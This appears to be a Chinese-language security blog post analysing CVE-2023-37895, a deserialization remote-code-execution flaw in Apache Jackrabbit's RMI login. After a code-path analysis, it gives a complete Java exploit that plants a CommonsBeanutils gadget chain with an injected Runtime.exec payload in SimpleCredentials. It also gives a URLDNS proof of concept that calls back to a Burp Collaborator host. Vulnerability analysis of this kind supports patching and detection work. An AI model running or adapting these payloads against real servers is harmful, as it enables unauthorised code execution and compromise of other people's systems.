浅析Apache Jackrabbit(CVE-2023-37895)

Apache Jackrabbit反序列化漏洞分析(CVE-2023-37895)

漏洞简述:

Apache Jackrabbit是Apache公司的一个内容存储库。

Apache Jackrabbit Webapp/Standalone存在代码问题漏洞,该漏洞源于组件commons-beanutils存在远程代码执行(RCE)漏洞。

受影响的产品和版本:Apache Jackrabbit Webapp/Standalone 2.20.10及之前版本,2.21.17及之前版本。

漏洞分析:

首先通过RemoteBindingServlet的getRemoteRepository()获取Repository对象,然后转化为Stub代理对象返回给Response。跟进getRemoteRepository()

image-20230823094610422

这里调用getRemoteAdapterFactory()获取RemoteAdpterFactory对象。默认是ServerAdapterFactory()然后调用ServerAdapterFactory.getRemoteRepository方法获取Repository对象。

image-20230823095842783

image-20230823100307211

当客户端获取到Repository对象后,可以调用Repository的login方法,跟进到ClientRepository的实现类:

image-20230823100644700

里面又会调另外一个login()(ClientRepository):

image-20230823100743053

最后通过RMI讲客户端的Credentials类传输到服务端,其中用的是RMI底层的JRMP协议,将客户端序列化后,把序列化的数据传输到服务端在反序列化(上篇RMI中的C和S的通信过程)。如果我们传入一个恶意的Credentials对象,则会执行相关的恶意代码。(ServerRepository.login):

image-20230823101423557

跟进Credentials

image-20230823101900193

发现他不仅继承了Serializable还有很多实现类,我们跟进SimpleCredentials

image-20230823102102814

发现attributes属性是Map而且可以存储任意Object类型对象。我们通过setAttribute()方法将构造的恶意PriorityQueue对象存在到这个AttributesMap中。

当反序列化包含恶意PriorityQueueSimpleCredentials对象时,会递归反序列化它的所有属性,其中就包含了attributes这个Map,反序列化attributes时,也会反序列化其中存放的PriorityQueue对象,这样就会触发PriorityQueue对象中的反序列化逻辑,导致远程代码执行。

POC和EXP

exp思路:

该项目包含了Commons BeanUtils组件,可利用CB链构造恶意Credentials对象。

exp_demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.jackrabbit.rmi.repository.URLRemoteRepository;
import javax.jcr.Repository;
import javax.jcr.SimpleCredentials;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String Name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(Name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}


public static void main(String[] args) throws Exception {

byte[] code = getTemplatesImpl("calc");
byte[][] codes = {code};
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes",codes);
setFieldValue(obj, "_name", "aaaa");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator( null,String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> payload = new PriorityQueue<Object>(2,comparator);
payload.add("1");
payload.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(payload, "queue", new Object[]{obj,obj});

SimpleCredentials exp = new SimpleCredentials("admin","admin".toCharArray());
exp.setAttribute( "admin111",payload);
Repository repository = new URLRemoteRepository("http://localhost:8080/rmi");
repository.login(exp);

}
}

复现:

image-20230823112724991

poc思路:

因为Runtime的exec没有回显,那么这里有两种思路:

  1. 因为用的是RMI,RMI底层是JRMP,可以利用ysoserial中JRMP让服务端回连。
  2. 因为利用链中有HashMap类型的attributes,可以利用URLDNS这条链,让服务器回连。

poc_demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import javax.jcr.Repository;
import javax.jcr.SimpleCredentials;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://6nueyl0q7a2vwl21uub3t1a4wv2lqa.burpcollaborator.net");
Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcode

try {
Object payload = map;

SimpleCredentials exp = new SimpleCredentials("admin","admin".toCharArray());
exp.setAttribute("admin",payload);
Repository repository = new URLRemoteRepository("http://localhost:8080/rmi");
repository.login(exp);
}catch (Exception e){
e.printStackTrace();
}
}

复现:

image-20230823102630191


浅析Apache Jackrabbit(CVE-2023-37895)
http://example.com/2023/08/24/浅析ApacheJackrabbit/
作者
Yuanyi
发布于
2023年8月24日
许可协议